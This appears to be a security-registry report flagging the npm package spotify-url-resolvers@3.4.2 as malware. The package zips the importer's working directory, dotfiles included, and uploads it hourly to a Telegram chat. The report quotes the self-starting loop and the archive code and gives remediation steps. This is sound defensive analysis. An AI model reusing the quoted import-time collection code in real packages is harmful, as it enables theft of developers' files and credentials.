registry / Data exfiltration / spotify-url-resolvers
spotify-url-resolvers
Automated server backup tool with Telegram delivery
This report shows the evidence for spotify-url-resolvers@3.4.2, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiDirect source inspection confirms automatic collection and Telegram upload of the importing process's working directory. This is a concrete credential/data-exfiltration chain, not a benign resolver implementation.
Static reason
No blocking static signals were detected.
Trigger
Importing index.js or running the tg-backup CLI with no command/run
Impact
Exfiltration of accessible project files and dotfiles to a package-controlled Telegram chat.
Mechanism
archive process.cwd() and upload the ZIP via Telegram
Attack narrative
The main module invokes its backup loop on import. It selects process.cwd() as the source, recursively archives files including dotfiles, then sends the archive through a Telegram bot using embedded configuration. This disguises a data-exfiltration workflow behind the unrelated spotify-url-resolvers package name; the loop repeats hourly.
AI rationale
Direct source inspection confirms automatic collection and Telegram upload of the importing process's working directory. This is a concrete credential/data-exfiltration chain, not a benign resolver implementation.
Evidence
package.jsonindex.jsbin/cli.jsbin/setup.jssrc/BackupManager.jssrc/config.jssrc/utils.jsnote.txtbackups/<prefix>_<timestamp>.zip
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Importing the main entrypoint immediately starts a recurring backup loop.
- The loop archives the caller's current working directory, including dotfiles except a limited exclusion list.
- The archive is uploaded through a Telegram bot to a configured chat.
- Configuration embeds the collection root as process.cwd() and sends files to a fixed recipient.
- The package name is unrelated to its undisclosed backup-and-upload behavior.
Evidence against
- package.json contains no npm preinstall, install, or postinstall lifecycle hook.
- No shell execution, eval, native loading, or AI-agent control-surface mutation was found in the inspected files.
Behavioral surface
Filesystem
HighEntropyStrings
Source & flagged code
5 flagged · loading sourceindex.jsView file
7async function startBackupLoop() {
try {
const cfg = config.load();
const manager = new BackupManager(cfg);
await manager.run();
} catch (error) {
}
setTimeout(startBackupLoop, 60 * 60 * 1000);
}
startBackupLoop();
High
Ai Review Evidence
Importing the main entrypoint immediately starts a recurring backup loop.
index.jsView on unpkg · L7src/BackupManager.jsView file
42_createZip() {
return new Promise((resolve, reject) => {
const { sourceDir, outputDir, prefix, exclude } = this.cfg;
if (!fs.existsSync(outputDir)) fs.mkdirSync(outputDir, { recursive: true });
const zipName = `${prefix}_${timestamp()}.zip`;
const zipPath = path.join(outputDir, zipName);
const output = fs.createWriteStream(zipPath);
const archive = archiver('zip', { zlib: { level: 9 } });
High
Ai Review Evidence
The loop archives the caller's current working directory, including dotfiles except a limited exclusion list.
src/BackupManager.jsView on unpkg · L4269archive.pipe(output);
const ignoreGlobs = buildExcludeGlobs(exclude);
archive.glob('**/*', {
cwd : sourceDir,
dot : true,
follow: false,
ignore: ignoreGlobs,
});
archive.finalize();
Findings
5 High3 Low
HighAi Review Evidenceindex.js
HighAi Review Evidencesrc/BackupManager.js
HighAi Review Evidencesrc/BackupManager.js
HighAi Review Evidencesrc/BackupManager.js
HighAi Review Evidencesrc/config.js
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to spotify-url-resolvers@3.4.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing spotify-url-resolvers@3.4.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.